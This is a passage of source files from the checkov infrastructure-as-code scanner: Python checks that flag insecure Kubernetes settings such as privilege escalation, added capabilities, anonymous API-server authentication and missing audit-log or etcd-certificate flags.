    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Any, TYPE_CHECKING\n\nimport dpath\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories\n    from collections.abc import Iterable\n\n\nclass BaseSpecOmittedOrValueCheck(BaseK8Check):\n    def __init__(\n        self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str]\n    ) -> None:\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        inspected_key = self.get_inspected_key()\n        if dpath.search(conf, inspected_key, yielded=False) != {}:\n            if dpath.get(conf, inspected_key) != self.get_expected_value():\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        raise NotImplementedError()\n\n    def get_expected_value(self) -> Any:\n        # default expected value. can be override by derived class\n        return False\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass AllowPrivilegeEscalation(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.5\n        # CIS-1.5 5.2.5\n        # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/\n        # Default is allow / true\n        # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN.\n        # This could be enforced via PodSecurityPolicy\n        name = \"Containers should not run with allowPrivilegeEscalation\"\n        id = \"CKV_K8S_20\"\n        # Location: container .securityContext.allowPrivilegeEscalation\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/allowPrivilegeEscalation\"]\n        if isinstance(conf, dict) and conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"allowPrivilegeEscalation\") is False:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = AllowPrivilegeEscalation()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalationPSP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass AllowPrivilegeEscalationPSP(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.5\n        # CIS-1.5 5.2.5\n        # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n        # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN.\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/\n        # AllowPrivilegeEscalation - This defaults to allow to not break setuid binaries\n        # DefaultAllowPrivilegeEscalation - Default is to allow as to not breat setuid binaries\n        # If you omit allowPrivilegeEscalation from PSP, it defaults to true\n        # Location: PodSecurityPolicy.spec.allowPrivilegeEscalation\n        name = \"Containers should not run with allowPrivilegeEscalation\"\n        id = \"CKV_K8S_5\"\n        supported_kind = ('PodSecurityPolicy',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"spec\" in conf:\n            if \"allowPrivilegeEscalation\" in conf[\"spec\"]:\n                if conf[\"spec\"][\"allowPrivilegeEscalation\"]:\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = AllowPrivilegeEscalationPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass AllowedCapabilities(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.5 5.2.8\n        name = \"Minimize the admission of containers with added capability\"\n        # Do not generally permit containers with capabilities assigned beyond the default set\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities\n        # Location: container .securityContext.capabilities\n        id = \"CKV_K8S_25\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/capabilities/add\"]\n        if conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"capabilities\"):\n                if conf[\"securityContext\"][\"capabilities\"].get(\"add\"):\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AllowedCapabilities()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesPSP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass AllowedCapabilities(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.2.8\n        name = \"Do not allow containers with added capability\"\n        # No capabilities may be added beyond the default set\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities\n        # Location: PodSecurityPolicy.spec.allowedCapabilities\n        id = \"CKV_K8S_24\"\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = conf.get(\"spec\")\n        if spec and spec.get(\"allowedCapabilities\"):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AllowedCapabilities()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass AllowedCapabilitiesSysAdmin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Do not use the CAP_SYS_ADMIN linux capability\"\n        # This provides the most privilege and is similar to root\n        # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n        id = \"CKV_K8S_39\"\n        # Location: container .securityContext.capabilities\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/capabilities/add\"]\n        if conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"capabilities\"):\n                if conf[\"securityContext\"][\"capabilities\"].get(\"add\"):\n                    if \"SYS_ADMIN\" in conf[\"securityContext\"][\"capabilities\"][\"add\"]:\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AllowedCapabilitiesSysAdmin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAdmissionControlAlwaysAdmit(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_79\"\n        name = \"Ensure that the admission control plugin AlwaysAdmit is not set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"AlwaysAdmit\" == value:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAdmissionControlAlwaysAdmit()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlEventRateLimit.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass ApiServerAdmissionControlEventRateLimit(BaseK8Check):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_78\"\n        name = \"Ensure that the admission control plugin EventRateLimit is set\"\n        categories = (CheckCategories.KUBERNETES,)\n        supported_kind = ('AdmissionConfiguration',)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"plugins\" not in conf:\n            return CheckResult.FAILED\n        plugins = conf[\"plugins\"]\n        for plugin in plugins:\n            if plugin[\"name\"] == \"EventRateLimit\":\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = ApiServerAdmissionControlEventRateLimit()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAlwaysPullImagesPlugin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_80\"\n        name = \"Ensure that the admission control plugin AlwaysPullImages is set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"AlwaysPullImages\" not in value:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAlwaysPullImagesPlugin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAnonymousAuth(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_68\"\n        name = \"Ensure that the --anonymous-auth argument is set to false\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                if \"--anonymous-auth=false\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAnonymousAuth()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuditLog(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_91\"\n        name = \"Ensure that the --audit-log-path argument is set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasAuditLog = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--audit-log-path\"):\n                        hasAuditLog = True\n                return CheckResult.PASSED if hasAuditLog else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuditLog()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuditLogMaxAge(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_92\"\n        name = \"Ensure that the --audit-log-maxage argument is set to 30 or as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasAuditLogMaxAge = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--audit-log-maxage\"):\n                        value = command.split(\"=\")[1]\n                        hasAuditLogMaxAge = int(value) >= 30\n                        break\n                return CheckResult.PASSED if hasAuditLogMaxAge else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuditLogMaxAge()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuditLogMaxBackup(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_93\"\n        name = \"Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasAuditLogMaxBackup = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--audit-log-maxbackup\"):\n                        value = command.split(\"=\")[1]\n                        hasAuditLogMaxBackup = int(value) >= 10\n                        break\n                return CheckResult.PASSED if hasAuditLogMaxBackup else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuditLogMaxBackup()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuditLogMaxSize(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_94\"\n        name = \"Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasAuditLogMaxSize = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--audit-log-maxsize\"):\n                        value = command.split(\"=\")[1]\n                        hasAuditLogMaxSize = int(value) >= 100\n                        break\n                return CheckResult.PASSED if hasAuditLogMaxSize else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuditLogMaxSize()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuthorizationModeNode(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_75\"\n        name = \"Ensure that the --authorization-mode argument includes Node\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasNodeAuthorizationMode = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--authorization-mode\"):\n                        modes = command.split(\"=\")[1]\n                        if \"Node\" in modes.split(\",\"):\n                            hasNodeAuthorizationMode = True\n                return CheckResult.PASSED if hasNodeAuthorizationMode else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuthorizationModeNode()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuthorizationModeNotAlwaysAllow(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_74\"\n        name = \"Ensure that the --authorization-mode argument is not set to AlwaysAllow\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--authorization-mode\"):\n                        modes = command.split(\"=\")[1]\n                        if \"AlwaysAllow\" in modes.split(\",\"):\n                            return CheckResult.FAILED\n                        break\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuthorizationModeNotAlwaysAllow()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerAuthorizationModeRBAC(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_77\"\n        name = \"Ensure that the --authorization-mode argument includes RBAC\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasRBACAuthorizationMode = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--authorization-mode\"):\n                        modes = command.split(\"=\")[1]\n                        if \"RBAC\" in modes.split(\",\"):\n                            hasRBACAuthorizationMode = True\n                return CheckResult.PASSED if hasRBACAuthorizationMode else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerAuthorizationModeRBAC()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerBasicAuthFile(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_69\"\n        name = \"Ensure that the --basic-auth-file argument is not set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        command = conf.get(\"command\")\n        if isinstance(command, list):\n            if \"kube-apiserver\" in command:\n                if any(x.startswith(\"--basic-auth-file\") for x in command):\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerBasicAuthFile()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\nfrom checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands\n\n\nclass ApiServerEncryptionProviders(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_104\"\n        name = \"Ensure that encryption providers are appropriately configured\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        keys, values = extract_commands(conf)\n\n        if \"kube-apiserver\" in keys:\n            if \"--encryption-provider-config\" not in keys:\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerEncryptionProviders()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\nfrom checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands\n\n\nclass ApiServerEtcdCaFile(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_102\"\n        name = \"Ensure that the --etcd-cafile argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        keys, values = extract_commands(conf)\n\n        if \"kube-apiserver\" in keys:\n            if \"--etcd-cafile\" not in keys:\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerEtcdCaFile()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerEtcdCertAndKey(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_99\"\n        name = \"Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasCertCommand = False\n                hasKeyCommand = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--etcd-certfile\"):\n                        hasCertCommand = True\n                    elif command.startswith(\"--etcd-keyfile\"):\n                        hasKeyCommand = True\n                return CheckResult.PASSED if hasCertCommand and hasKeyCommand else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerEtcdCertAndKey()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerInsecureBindAddress(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_86\"\n        name = \"Ensure that the --insecure-bind-address argument is not set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                strippedArgs = [arg.split(\"=\")[0] for arg in conf[\"command\"]]\n                if \"--insecure-bind-address\" in strippedArgs:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerInsecureBindAddress()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerInsecurePort(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_88\"\n        name = \"Ensure that the --insecure-port argument is set to 0\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                if \"--insecure-port=0\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerInsecurePort()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerKubeletClientCertAndKey(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_72\"\n        name = \"Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasCertCommand = False\n                hasKeyCommand = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--kubelet-client-certificate\"):\n                        hasCertCommand = True\n                    elif command.startswith(\"--kubelet-client-key\"):\n                        hasKeyCommand = True\n                return CheckResult.PASSED if hasCertCommand and hasKeyCommand else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerKubeletClientCertAndKey()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerKubeletHttps(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_71\"\n        name = \"Ensure that the --kubelet-https argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                if \"--kubelet-https=false\" in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerKubeletHttps()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerNamespaceLifecyclePlugin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_83\"\n        name = \"Ensure that the admission control plugin NamespaceLifecycle is set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"NamespaceLifecycle\" not in value:\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ApiServerNamespaceLifecyclePlugin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerNodeRestrictionPlugin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_85\"\n        name = \"Ensure that the admission control plugin NodeRestriction is set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"NodeRestriction\" not in value:\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ApiServerNodeRestrictionPlugin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py",
